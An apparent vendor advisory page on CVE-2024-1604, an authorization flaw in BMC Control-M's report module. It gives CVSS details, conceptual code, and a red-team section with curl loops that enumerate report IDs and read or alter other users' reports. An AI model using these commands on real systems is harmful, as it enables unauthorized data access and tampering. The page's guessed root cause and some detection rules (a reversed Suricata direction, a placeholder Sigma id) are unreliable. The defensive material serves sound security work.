CVE-2024-1604
Executive Summary
CVE-2024-1604 is an improper authorization vulnerability in the report management and creation module of BMC Control-M branches 9.0.20 and 9.0.21. This flaw allows authenticated users to read and make unauthorized changes to any reports within the application, bypassing intended permission controls. The attacker must know the unique identifier of the target report. The vulnerability has a CVSS score of 6.4 (Medium), with a low attack complexity and no user interaction required beyond authentication. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the impact on data confidentiality and integrity is significant. Patches are available for both affected branches.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise software product (BMC Control-M). Therefore, supply chain security considerations are limited to the vendor's software distribution and update mechanisms. Organizations should ensure they obtain patches directly from BMC's official support portal and verify the integrity of downloaded updates.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions or complex attack sequences are required.
- Privileges Required (PR): Low (L) – The attacker must have a valid user account with any role.
- User Interaction (UI): None (N) – No user interaction is required for exploitation.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): Low (L) – Limited read access to reports, but not all data.
- Integrity (I): High (H) – Unauthorized modifications to reports can be made.
- Availability (A): None (N) – No impact on system availability.
Threat Level: Medium. While the CVSS score is moderate, the integrity impact is high, and the attack complexity is low. The requirement for a valid user account and knowledge of the report ID reduces the immediate threat, but insider threats or compromised credentials could lead to significant data manipulation.
Deep Dive & Mechanics
The vulnerability resides in the report management and creation module of BMC Control-M. The application fails to enforce proper authorization checks when a user attempts to access or modify a report. Instead of verifying that the authenticated user has the necessary permissions (e.g., report owner, admin, or specific role), the system only checks that the user is logged in and that the report ID exists.
Root Cause: The authorization logic likely relies on client-side or insufficient server-side validation. The server may trust the report ID provided in the request without verifying the user's relationship to that report. This allows any authenticated user to craft a request with a known report ID and perform read or write operations.
Attack Flow:
- Attacker authenticates to the BMC Control-M web interface with low-privileged credentials.
- Attacker enumerates or guesses report IDs (e.g., sequential integers, UUIDs from other users, or via information disclosure).
- Attacker sends a crafted HTTP request (e.g., GET or POST) to the report management API endpoint, including the target report ID.
- The server processes the request without proper authorization, returning the report data or applying changes.
- Attacker can read sensitive reports or modify report content, potentially altering business-critical data.
Affected Components:
- Report management module (likely REST API endpoints)
- Report creation module (similar authorization flaws)
Vulnerable vs. Patched Code
Since the exact source code is not publicly available, the following is a conceptual comparison based on the vulnerability description.
Vulnerable Code (Conceptual):
# Vulnerable endpoint - no authorization check
@app.route('/api/report/<report_id>', methods=['GET', 'POST'])
def handle_report(report_id):
user = get_current_user()
if not user:
return "Unauthorized", 401
# Missing: check if user has permission to access this report
report = get_report_by_id(report_id)
if request.method == 'GET':
return jsonify(report.data)
elif request.method == 'POST':
update_report(report_id, request.json)
return "OK", 200
Patched Code (Conceptual):
# Patched endpoint with authorization check
@app.route('/api/report/<report_id>', methods=['GET', 'POST'])
def handle_report(report_id):
user = get_current_user()
if not user:
return "Unauthorized", 401
report = get_report_by_id(report_id)
# Authorization check: verify user has permission
if not user.has_permission('read', report) and not user.has_permission('write', report):
return "Forbidden", 403
if request.method == 'GET':
if not user.has_permission('read', report):
return "Forbidden", 403
return jsonify(report.data)
elif request.method == 'POST':
if not user.has_permission('write', report):
return "Forbidden", 403
update_report(report_id, request.json)
return "OK", 200
Exploitation & Lab Setup
Red Team
Prerequisites:
- Valid user account on BMC Control-M (any role)
- Knowledge of a target report ID (e.g., via enumeration or information disclosure)
- Network access to the Control-M web interface
Exploitation Steps:
- Authenticate: Log in to the Control-M web interface with the compromised credentials.
- Enumerate Report IDs: Use a script to brute-force or guess report IDs. Common patterns include sequential integers or UUIDs.
# Example using curl to enumerate report IDs for id in $(seq 1 1000); do response=$(curl -s -o /dev/null -w "%{http_code}" -b "session=your_session_cookie" "https://control-m.example.com/api/report/$id") if [ "$response" == "200" ]; then echo "Report ID $id is accessible" fi done - Read a Report: Retrieve the content of a report.
curl -b "session=your_session_cookie" "https://control-m.example.com/api/report/123" -o report_123.json - Modify a Report: Send a POST request to update the report.
curl -X POST -b "session=your_session_cookie" \ -H "Content-Type: application/json" \ -d '{"name": "Modified Report", "content": "Altered data"}' \ "https://control-m.example.com/api/report/123"
Expected Outcome: The attacker gains unauthorized read and write access to any report, potentially exfiltrating sensitive data or corrupting business-critical reports.
Blue Team
Detection and Response:
- Monitor API Access Logs: Look for unusual patterns in API requests to report endpoints, especially from users who do not normally access reports.
- Alert on multiple 200 responses to
/api/report/from a single user in a short time. - Alert on POST requests to
/api/report/from users with no report management role.
- Alert on multiple 200 responses to
- Correlate with User Activity: Check if the user has a history of accessing reports. Sudden access to many reports is suspicious.
- Review Report Changes: Use version control or audit logs to detect unauthorized modifications to reports.
- Honeypot Reports: Create fake reports with unique IDs and monitor for access. Any access to these honeypot reports indicates malicious activity.
Mitigation Steps:
- Apply the vendor patch immediately (upgrade to 9.0.20.238 or 9.0.21.201).
- Implement network segmentation to limit access to the Control-M web interface.
- Enforce strong authentication and consider multi-factor authentication (MFA).
- Regularly audit user permissions and remove unnecessary accounts.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/api/report/with sequential or guessed report IDs. - Unusual POST requests to
/api/report/from low-privileged users. - High volume of 200 responses to report API endpoints from a single source IP.
- HTTP requests to
Host IOCs:
- Audit logs showing access to reports by users without proper permissions.
- Report modification timestamps inconsistent with user roles.
- Presence of unexpected report content or metadata changes.
File IOCs:
- Exported report files (e.g., JSON, XML) in unusual locations or with unexpected names.
Detection Engineering
YARA Rule
rule CVE_2024_1604_Report_Access {
meta:
description = "Detects unauthorized access to BMC Control-M reports"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-1604"
strings:
$api_endpoint = "/api/report/"
$http_method_get = "GET"
$http_method_post = "POST"
$session_cookie = "session="
condition:
any of ($api_endpoint) and any of ($http_method_get, $http_method_post) and $session_cookie
}
Sigma Rule
title: Unauthorized BMC Control-M Report Access
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to access or modify reports in BMC Control-M without proper authorization
author: Valters IT
date: 2024/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-1604
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-stem: "/api/report/*"
cs-method:
- "GET"
- "POST"
sc-status: 200
condition: selection
falsepositives:
- Legitimate report access by authorized users
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-1604 - Unauthorized BMC Control-M Report Access";
flow:to_server,established;
content:"/api/report/"; http_uri;
content:"session="; http_cookie;
pcre:"/^(GET|POST) /api/report/\d+/Ui";
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Apply Patches: Upgrade BMC Control-M to version 9.0.20.238 (for 9.0.20 branch) or 9.0.21.201 (for 9.0.21 branch) as provided by the vendor.
- Restrict Network Access: Limit access to the Control-M web interface to trusted IP ranges using firewalls or VPNs.
- Review User Accounts: Audit all user accounts and remove any that are unnecessary or have excessive permissions.
- Enable Logging: Ensure detailed logging of all API requests to report endpoints is enabled and monitored.
Long-Term Mitigations:
- Implement role-based access control (RBAC) with least privilege principles.
- Regularly perform security assessments and penetration testing on the Control-M environment.
- Monitor for new CVEs and apply patches promptly.
- Consider deploying a web application firewall (WAF) to detect and block exploitation attempts.
Workarounds (if patching is delayed):
- Disable the report management module temporarily if not critical.
- Implement custom authorization checks via a reverse proxy (e.g., Nginx) to validate user permissions before forwarding requests to the backend.
Valters IT
Securing Your Digital Frontier
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.